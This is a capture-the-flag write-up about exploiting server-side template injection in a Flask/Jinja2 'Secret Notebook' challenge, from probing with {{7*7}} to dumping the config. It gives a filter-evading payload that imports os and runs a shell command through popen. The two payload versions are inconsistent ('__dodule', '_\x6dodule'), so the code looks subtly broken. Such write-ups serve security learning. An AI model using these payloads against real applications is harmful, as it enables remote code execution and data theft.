The Secret Notebook WRITEUP

Visiting the website http://gamebox1.reply.it/0b7d3eb5b7973d27ec3adaffd887d0e2/ there was a page with two textarea, one in which it was possible to paste a ciphertext, press the Decrypt button and get the relative plaintext on the textarea adjacent to the first one. Moreover the page had a strange behavior, in fact it was possible to insert in the ciphertext textarea a plain text, and obtain in the other one the ciphertext. Later we realized that by inserting the encrypted payload *{{7*7}}* we got the answer *49*, which immediately made us think of a server side template injection.

Then we started to read the config file by supplying *{{ config }}* and we got a false flag in the *SECRET_KEY* parameter: *}FLG:ThisIsTheRightFlag!{*.


```
{
    "TRAP_BAD_REQUEST_ERRORS":False,
    "LOGGER_HANDLER_POLICY":"always",
    "LOGGER_NAME":"Challenge",
    "TESTING":False,
    "JSON_AS_ASCII":True,
    "SECRET_KEY":"}FLG:ThisIsTheRightFlag!{",
    "PERMANENT_SESSION_LIFETIME":datetime.timedelta(31),
    "PROPAGATE_EXCEPTIONS":"None",
    "SESSION_COOKIE_DOMAIN":"None",
    "SESSION_COOKIE_PATH":"None",
    "TEMPLATES_AUTO_RELOAD":"None",
    "JSONIFY_MIMETYPE":"application/json",
    "PREFERRED_URL_SCHEME":"http",
    "SERVER_NAME":"None",
    "TRAP_HTTP_EXCEPTIONS":False,
    "SESSION_COOKIE_HTTPONLY":True,
    "EXPLAIN_TEMPLATE_LOADING":False,
    "USE_X_SENDFILE":False,
    "JSON_SORT_KEYS":True,
    "MAX_CONTENT_LENGTH":"None",
    "PRESERVE_CONTEXT_ON_EXCEPTION":"None",
    "SESSION_COOKIE_SECURE":False,
    "SESSION_COOKIE_NAME":"session",
    "APPLICATION_ROOT":"None",
```

```
    "DEBUG":False,
    "SEND_FILE_MAX_AGE_DEFAULT":datetime.timedelta(0,43200),
    "SESSION_REFRESH_EACH_REQUEST":True,
    "JSONIFY_PRETTYPRINT_REGULAR":True
}
```

Then we tried to get an RCE but a lot of characters were filtered out, like dots and special keywords, so we bypassed all the checks using square brackets to avoid dots and also we hex encoded the second character of every special keyword.

```
{{ ()['__class__']['__base__']['__subclasses__']()[8]()['__dodule']
['__builtins__']['__import__']('os')|attr('popen')('cat flag/*')
|attr('read')() }}
```

```
{{ ()['_\x5fclass__']['_\x5fbase__']['_\x5fsubclasses__']()[8]()['_\x6dodule']
['_\x5fbuiltins__']['_\x5fimport__']('os')|attr('p\x6fpen')('cat flag/*')
|attr('r\x65ad')() }}
```

At the end we got the flag: *{FLG:Th3_S3cr3t_N0t3b00k_15_N0w_D3crypt3d!}*